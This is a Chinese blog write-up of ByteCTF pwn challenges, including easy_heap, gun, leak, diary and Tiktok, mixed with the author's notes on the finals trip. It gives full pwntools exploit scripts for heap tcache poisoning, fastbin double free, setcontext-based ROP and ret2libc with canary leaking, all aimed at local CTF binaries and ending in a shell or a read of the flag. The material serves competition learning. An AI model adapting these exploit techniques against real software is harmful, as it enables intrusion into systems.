本文最后更新于:2023年8月13日 晚上
每天早上起来对着空气挥一拳!不为别的!只因为不想做C++逆向!
0x00.绪论 ByteCTF是由字节跳动办的CTF,同时也是是字节跳动“安全范儿”高校挑战赛的一部分,作为baby pwner有幸和协会的师傅们代表L-team一起去北京参加了最后的总决赛(虽然说我好像没发挥啥作用Or2
题目的质量都很高,以及逆向量十分巨大,比赛当天把我给看晕了(当然主要还是因为我太菜了Or2
0x01.线上赛 - CTF -PWN 0x00.easy_heap - null by any address + tcache poisoning 点击下载-easyheap
点击下载-libc-2.31.so
惯例的堆题签到题,惯例的checksec
,保护全开
拖入IDA进行分析(部分函数、变量经重命名)
不难看出,该程序有着分配、释放、打印堆块 的功能,且最多只能分配8个堆块 ,空间有一丶丶紧张
漏洞:任意地址写0 我们不难发现在分配堆块的函数中存在着任意地址写0的漏洞
利用这个漏洞我们便可以构造tcache poisoning :free掉几个堆块进tcache后改写第一个堆块的fd指针指向自身 (这里我们需要分到一个自身的fd的地址的高字节为’\x00’的堆块)
同时,我们可以将一个堆块送入unsorted bin后切割出一个小堆块并打印,获得libc的基址
需要注意的是*(ptr + size -1)写0的操作、我们的输入、unsortedbin的分割过程都会破坏分割出来的这个小堆块上所储存的内容, ,故我们需要将这个0写到别的不会破坏堆结构的地方,同时我们的size应当尽量小、输入应当尽量少、且贴合原chunk内容,以保证我们能够获得正确的libc基址
我们先分配8个大小为0x91的chunk并释放,之后尝试分割出一个最小的chunk(malloc(1),得到只清空了一个字节的0x21大小的chunk),gdb调试发现main_arena + 96的地址的最后一个字节都是 \xe0
,故我们仅输入一个\xe0
字节即可
gdb调试发现这个小chunk保存的地址是main_arena + 352 的地址,输出即可获得libc基址
接下来利用任意地址写0构造tcache poisoning :分配出FD所在地址末字节为0的chunk,free进tcache,之后用任意地址写0使其FD指向自己的FD 即可
最后构造fake chunk改写__free_hook
为system
后释放一个内容为"/bin/sh"
的chunk即可get shell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * p = process("./easyheap" ) libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so" )def cmd (command:int ): p.recvuntil(b">> " ) p.sendline(str (command).encode())def new (size:int , content ): cmd(1 ) p.recvuntil(b"Size: " ) p.sendline(str (size).encode()) p.recvuntil(b"Content: " ) p.sendline(content)def newWithZero (zero_location:int , size:int , content ): cmd(1 ) p.recvuntil(b"Size: " ) p.sendline(str (zero_location).encode()) p.recvuntil(b"Invalid size." ) p.recvuntil(b"Size: " ) p.sendline(str (size).encode()) p.recvuntil(b"Content: " ) p.sendline(content)def dump (index:int ): cmd(2 ) p.recvuntil(b"Index: " ) p.sendline(str (index).encode()) p.recvuntil(b"Content: " )def delete (index:int ): cmd(3 ) p.recvuntil(b"Index: " ) p.sendline(str (index).encode())def exp (): log.info("Start filling the tcache" ) for i in range (8 ): new(0x80 , "arttnba3" ) for i in range (7 ): delete(7 - i) log.info("Start leaking the libc addr" ) delete(0 ) newWithZero(0x100 , 0x1 , b'\xe0' ) dump(0 ) main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 352 __malloc_hook = main_arena - 0x10 libc_base = __malloc_hook - libc.sym['__malloc_hook' ] log.info("Libc addr:" + str (hex (libc_base))) log.info("Start tcache poisoning" ) new(0x70 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x50 , "arttnba3" ) new(0x50 , "arttnba3" ) new(0x50 , "arttnba3" ) delete(3 ) delete(5 ) delete(4 ) newWithZero(-0xbf , 0x40 , "arttnba3" ) new(0x50 , p64(libc_base + libc.sym['__free_hook' ])) new(0x50 , b"/bin/sh\x00" ) new(0x50 , p64(libc_base + libc.sym['system' ])) delete(5 ) p.interactive()if __name__ == '__main__' : exp()
运行,成功getshell
0x01.gun - Use After Free + fastbin double free + ORW
这道题我的IDA逆出来是一堆的shit…但是看别人的wp里IDA逆出来的东西怎么都这么正常…Orz
换了IDA7.5,至少能看懂程序逻辑了XD
点击下载-gun
点击下载-libc-2.31.so
惯例的checksec
,保护全开(大比赛的堆题好像都是保护全开,已经没有checksec的必要了)
拖入IDA进行分析,IDA分析出一坨shit
符号表扣光,啥都看不出(悲)
seccomp限制了一堆东西,琢磨着应该是拿不到shell了,应该还是只能走orw拿弗莱格
程序模拟了一把枪,能够射出、装载、购买子弹,其中子弹对应的就是chunk,购买子弹对应malloc
最多能够分配14个堆块,空间充足(x
在buy()
函数中限制了chunk的size为0x10~0x500(似乎没什么用)
其中qword_4070
存放的是子弹槽对应标志位,0为该槽子弹已被射出(free),1为该槽已被使用(存放有chunk指针),2为该槽子弹已被装载(链入”弹匣“单向链表中)
综合起来我们不难看出其使用一个结构体来表示一个“子弹”
1 2 3 4 5 6 typedef struct __INTERNAL_BULLET_ { char * name; long long flag; struct __INTERNAL_BULLET_ * next_bullet ; }bullet;
其中成员name
储存的便是chunk指针
在load()
函数中会使用头插法构建”弹匣“(单向链表),其中会使用chunk的bk指针存储原链表中头结点
漏洞:Use After Free 在shoot()
函数中会依次将”弹匣“链表上的”子弹”释放,随后会将该子弹的flag置0,但是没有清空其next_chunk指针,存在Use After Free漏洞,对于子弹链表的不严格检测可以导致double free
同时shoot函数还整合了打印堆块内容的功能,利用这个功能我们可以通过再分配后二次释放的方式通过chunk上残留指针泄露libc基址与堆基址
由于题目所给的libc版本为2.31,添加了对tcache key的检测,无法直接在tcache内进行double free,故考虑先填满tcache后在fastbin内double free,后通过stash机制清空tcache使得fastbin内形如A->B->A的chunk倒入tcache中,实现任意地址写 ,这种做法不需要通过fastbin的size检查
同时由于程序本身限制了系统调用,我们只能通过orw读取flag
考虑通过setcontext()
中的gadget进行控制寄存器,同时我们还需要控制rdx寄存器,考虑劫持__free_hook后通过libc中如下gadget控制rdx后跳转至setcontext函数内部:
这个 gadget 一般在这个函数里
最后通过setcontext构建的rop链orw即可,使用pwntools中的SigreturnFrame()
可以快速构造 ucontext_t
结构体
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import * context.arch = 'amd64' p = process('./gun' ) e = ELF('./gun' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so' )def cmd (command:int ): p.recvuntil(b"Action> " ) p.sendline(str (command).encode())def shoot (times:int ): cmd(1 ) p.recvuntil(b"Shoot time: " ) p.sendline(str (times).encode())def load (index:int ): cmd(2 ) p.recvuntil(b"Which one do you want to load?" ) p.sendline(str (index).encode())def buy (size:int , content ): cmd(3 ) p.recvuntil(b"Bullet price: " ) p.sendline(str (size).encode()) p.recvuntil(b"Bullet Name: " ) p.sendline(content)def exp (): p.sendline(b"arttnba3" ) buy(0x10 , b"arttnba3" ) buy(0x500 , b"arttnba3" ) buy(0x10 , b"arttnba3" ) load(1 ) shoot(1 ) buy(0x20 , b'' ) load(1 ) shoot(1 ) main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 1168 __malloc_hook = main_arena - 0x10 libc_base = __malloc_hook - libc.sym['__malloc_hook' ] log.success('libc base: ' + hex (libc_base)) buy(0x20 , b'AAAAAAAAAAAAAAAA' ) load(1 ) shoot(1 ) p.recvuntil(b'AAAAAAAAAAAAAAAA' ) heap_leak = u64(p.recv(6 ).ljust(8 , b'\x00' )) log.info('heap addr leak: ' + hex (heap_leak)) heap_base = heap_leak & 0xfffffffff000 log.success('heap base: ' + hex (heap_base)) fake_frame_addr = heap_base + 0x310 + 0x10 fake_frame = SigreturnFrame() fake_frame['uc_stack.ss_size' ] = libc_base + libc.sym['setcontext' ] + 61 fake_frame.rdi = 0 fake_frame.rsi = libc_base + libc.sym['__free_hook' ] fake_frame.rdx = 0x200 fake_frame.rsp = libc_base + libc.sym['__free_hook' ] fake_frame.rip = libc_base + libc.sym['read' ] load(0 ) shoot(1 ) buy(0x100 , bytes (fake_frame)) for i in range (9 ): buy(0x20 , b'arttnba3' ) load(9 ) load(10 ) shoot(2 ) buy(0x20 , b'arttnba3' ) buy(0x20 , b'arttnba3' ) load(1 ) for i in range (6 ): load(3 + i) shoot(7 ) load(10 ) load(9 ) shoot(3 ) for i in range (7 ): buy(0x20 , b'arttnba3' ) buy(0x20 , p64(libc_base + libc.sym['__free_hook' ])) buy(0x20 , b'./flag\x00' ) buy(0x20 , b'arttnba3' ) buy(0x20 , p64(libc_base + 0x154930 )) flag_addr = heap_base + 0x570 + 0x10 payload = p64(0 ) + p64(fake_frame_addr) buy(0x100 , payload) pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret' )).__next__() pop_rsi_ret = libc_base + libc.search(asm('pop rsi ; ret' )).__next__() pop_rdx_ret = libc_base + libc.search(asm('pop rdx ; ret' )).__next__() pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret' )).__next__() orw = b'' orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4 ) + p64(libc_base + libc.sym['open' ]) orw += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20 ) + p64(0 ) + p64(libc_base + libc.sym['read' ]) orw += p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20 ) + p64(0 ) + p64(libc_base + libc.sym['write' ]) load(13 ) shoot(1 ) p.sendline(orw) p.interactive()if __name__ == '__main__' : exp()
运行即可获得flag
有关setcontext()的利用见:setcontext 函数exploit - Ex个人博客
以及构造rop链时遇到了一个玄学问题…使用libc中的pop rdx ; ret
的gadget会触发Segmentation Fault,只好改用pop rdx ; pop rbx ; ret
的gadget来更改rdx寄存器的值…原因不明…
0x02.leak - golang data race 原题给出了一个不完整的golang程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package mainfunc main () { flag := []int64 {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 } for i, v := range flag { flag[i] = v + 1 } hack() }
我们所需要做的就是补充hack()
函数的结构体,以泄露main()函数中保存的flag
面向github做题可以发现这个issue:cmd/compile: for range loop reading past slice end #40367
稍微改一改我们的exp就出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package mainfunc hack () { rates:=[]uint64 {0xff } for star, rate := range rates { if star+1 < 1 { panic ("" ) } print (string (rate-1 )) } }func main () { flag := []int64 {'f' , 'l' , 'a' , 'g' , '{' , 'a' , 'r' , 't' , 't' , 'n' , 'b' , 'a' , '3' , '_' , 't' , '3' , 's' , '7' , '_' , 'f' , '1' , '@' , '9' , '!' , '}' , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 } for i, v := range flag { flag[i] = v + 1 } hack() }
运行即可获得flag
某种程度上算是个社工题233333
以及这个bug已经在更高版本的go编译器中被修复(> 1.14.6)
0x03.Pwndroid 0x02.线下赛 - AWD - PWN 作为大二的小萌新第一次来打线下赛,说实话还是挺激动的,同时也是👴第一次来首都,算是长了长见识,可惜没能去看天安门()
和RX大哥一起住五星级酒店,不得不说是真滴豪华,害有个带🛁能够让👴🛀,太腐败了,👴以后也想去字节,太财大气粗了
恰了老百京名吃儿——豆汁儿,对 于 人 类 而 言 为 时 尚 早 的 味 道
Day1 过于奢华的早餐,还是自助餐,太腐败了——👴本想这样批判一番资本主义的腐败,但是实在是太好恰了
以及现场说实话还是挺热闹的(周迅脸:挖,人好多啊.jpg)
以下是第一天的战果
第一天就被日爆了,diary 那题一开始🧠短路了没注意到是从 bk 写,exp 出来别人老早修完了
C++ 和 vm 逆向量死🦄大,其他几道题被日爆,想整点流量分析反打回去,结果👴和RX都⑧咋会弄,大眼瞪小眼
后面靠老大哥 huai 宝出了一道 vm pwn 勉强收支平衡(其实还是挨打),后面就白给了
打完比赛回 🏨 还有小零食恰,本来想奋战一晚上的,但是👴和RX都摸了 ,🛏💤💤💤
0x00.diary - Use After Free + tcache poisoning + heap overflow 点击下载-diary
感悟:这次线下的AWD逆向量巨大,符号表扣光,神必C++看着十分头晕主要还是我太菜了Or2
最简单的签到题,以至于我写完exp之后大家早就都修好了,甚至通防一挂这题就没法拿到shell了,所以基本上也不用修,不过想想似乎还是能够利用任意写在栈上构造ROP以后ORW读flag,但是比赛的时候忙着看后面的题去了
大概是以下几个点:
delete堆块的时候没有置零存在UAF
edit时会输出堆块大小,也就是输出FD,FD指针用来存储堆块大小,可以泄露堆地址和libc基址
由于犯了以chunk的FD指针来判断堆块大小的逻辑错误判断,于是delete后再edit可以进行堆块溢出
修改__free_hook为system以后释放一个内容为”/bin/sh”的块即可get shell
比赛中踩坑的点:
由于FD用于储存堆块大小,利用edit泄露main_arena的时候会破坏BK,需要手动将main_arena + 96输回去
同上,由于输入都是从BK开始,故需要堆溢出改一个chunk的FD为”/bin/sh”
比赛时写的exp如下:(稍微有一丶乱…)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *from LibcSearcher import * context.log_level = 'DEBUG' context.arch = 'amd64' p = process('./diary' ) e = ELF('./diary' ) libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so" ) one_gadget = 0xe6e73 def cmd (index:int ): p.recvuntil(b'Options' ) p.sendline(str (index).encode())def new (name, size:int , content ): cmd(1 ) p.recvuntil(b"Name:" ) p.sendline(name) p.recvuntil(b"Size:" ) p.sendline(str (size).encode()) p.recvuntil(b"Content:" ) p.sendline(content)def edit (name, content ): cmd(2 ) p.recvuntil(b"Name:" ) p.sendline(name) p.recvuntil(b"bytes:" ) p.sendline(content)def free (name ): cmd(3 ) p.recvuntil(b"Name:" ) p.sendline(name)def guess (): cmd(4 )def exp (): new('arttnba1' , 0x10 , '/bin/sh\x00' ) new('arttnba0' , 0x10 , 'arttnba0' ) new('arttnba2' , 0x20 , 'arttnba2' ) new('shell' , 0x30 , 'shell' ) new('sheep' , 0x30 , 'sheep' ) for i in range (5 ): free('arttnba0' ) edit('arttnba0' , '' ) for i in range (5 ): free('shell' ) edit('shell' , '' ) for i in range (5 ): free('arttnba2' ) edit('arttnba2' , '' ) free('arttnba2' ) p.recv() cmd(2 ) p.recvuntil(b"Name:" ) p.sendline('arttnba2' ) p.recvuntil(b"Input" ) heap_addr = int (p.recvuntil('bytes' , drop = True ), 16 ) p.sendline('' ) new('arttnba3' , 0x90 , 'arttnba3' ) for i in range (7 ): free('arttnba3' ) edit('arttnba3' , '' ) free('arttnba3' ) p.recv() cmd(2 ) p.recvuntil(b"Name:" ) p.sendline('arttnba3' ) p.recvuntil(b"Input" ) main_arena = int (p.recvuntil('bytes' , drop = True ), 16 ) - 96 p.sendline(p64(main_arena + 96 )) malloc_hook = main_arena - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook' ] log.info('libc addr: ' + hex (libc_base)) edit('arttnba0' , b'A' * (0x8 + 0x50 ) + p64(0 ) + p64(0x31 ) + b'A' * 0 + p64(libc_base + libc.sym['__free_hook' ] - 8 ) * 3 ) new('arttnba7' , 0x20 , p64(libc_base + libc.sym['system' ])*2 ) new('freehook' , 0x20 , p64(libc_base + libc.sym['system' ])*2 ) edit('shell' , b'A' * (0x8 + 0x20 + 0x50 ) + p64(0 ) + p64(0x41 ) + b'A' * 0 + b'/bin/sh\x00' * 10 ) free('sheep' ) p.interactive()if __name__ == '__main__' : exp()
0x01.Tiktok - ret2libc | Use After Free 点击下载-pwn
点击下载-libc-2.31.so
想都不用想肯定是保护全开
一开始要输一个密码
有个菜单,大概是可以创建 tiktok 账户的样子()
delete 函数里面有两个小❀指令,简单修一下
然后就能 Create Function 了
解法一:ret2libc
这个是赛后听 V&N 的师傅讲到的,说实话笔者一看到菜单就一直在想堆漏洞,却忽略了栈上那些事…
不要陷入思维定势啊(恼)
听说你用 memcpy
来拷贝字符串.jpg
什么,你还给了个输出,还能让我们重新修 canary,太贴心了.jpg
从 canary 到返回地址之间有三个值,测了一下除了ebp以外的两个好像不能动,最好先一步步泄露出来
直接当作最常规的 ret2libc 来做就行
有的时候会出现一些不明错误,多爆一两次就行
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import * context.arch = 'amd64' global p e = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) pop_rdi_ret = e.search(asm('pop rdi ; ret' )).__next__() ret = e.search(asm('ret' )).__next__()def exp (): p.sendline('TikTokAdmin' ) p.sendline('Delete 0' ) p.recvuntil(b"Please input the super root's password: " ) p.sendline(b'A' * 57 ) p.recvuntil(b'A' * 57 ) canary = u64(b'\x00' + p.recv(7 )) log.success('canary leak: ' + hex (canary)) p.sendline(b'\x00' * 57 ) p.sendline('Delete 0' ) p.recvuntil(b"Please input the super root's password: " ) p.sendline(b'A' * (56 + 8 )) p.recvuntil(b'A' * (56 + 8 )) stack_val_1 = u64(p.recv(6 ).ljust(8 , b'\x00' )) log.info('stack val 1: ' + hex (stack_val_1)) p.sendline(b'A' * 56 + p64(canary)) p.sendline('Delete 0' ) p.recvuntil(b"Please input the super root's password: " ) p.sendline(b'A' * (56 + 8 + 8 )) p.recvuntil(b'A' * (56 + 8 + 8 )) stack_val_2 = u64(p.recv(6 ).ljust(8 , b'\x00' )) log.info('stack val 2: ' + hex (stack_val_2)) p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1)) p.sendline('Delete 0' ) p.recvuntil(b"Please input the super root's password: " ) p.sendline(b'A' * (56 + 8 + 8 + 8 )) p.recvuntil(b'A' * (56 + 8 + 8 + 8 )) stack_val_3 = u64(p.recv(6 ).ljust(8 , b'\x00' )) log.info('stack val 3: ' + hex (stack_val_3)) p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1) + p64(stack_val_2)) p.sendline('Delete 0' ) p.recvuntil(b"Please input the super root's password: " ) p.sendline(b'A' * 0x58 ) p.recvuntil(b'A' * 0x58 ) elf_leak = u64(p.recv(6 ).ljust(8 , b'\x00' )) elf_base = elf_leak - 0x57a5 log.success('elf base: ' + hex (elf_base)) p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1) + p64(stack_val_2) + p64(stack_val_3) + p64(elf_base + pop_rdi_ret) + p64(elf_base + e.got['puts' ]) + p64(elf_base + 14548 ) + p64(elf_base + 0x49F3 )) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr - libc.sym['puts' ] log.success('libc base: ' + hex (libc_base)) p.sendline('TikTokAdmin' ) p.sendline('Delete 0' ) p.recvuntil(b"Please input the super root's password: " ) p.sendline(b'arttnba3' ) p.recvuntil(b"Try again: " ) p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1) + p64(stack_val_2) + p64(stack_val_3) + p64(elf_base + ret) + p64(elf_base + pop_rdi_ret) + p64(libc_base + libc.search(b'/bin/sh\x00' ).__next__()) + p64(libc_base + libc.sym['system' ])) p.interactive()if __name__ == '__main__' : count = 1 while True : try : print ('time: no.' + str (count)) p = process('./pwn' ) exp() except Exception as ex: count += 1
运行即可 get shell
当然,A&D赛制你除了要拿洞去打别人以外还得修自己的洞,不然自己也会被打成■■…那么这个洞怎么 patch 呢?
解法二:Use After Free
这个是我比赛的时候动态调出来的洞,但是 C++ 逆向是真的真的真的真的太头大了…
每天早上起来对着空气挥一拳!不为别的!只因为不想做C++逆向!
0x02.vm - 点击下载-chall
虚拟机pwn
Day2 0x00.chatroom - 点击下载-pwn
说实话因为第二天就打个上午…基本上都在摸🐟…以下是赛后复盘…
先 checksec
一下,没开 canary 和 PIE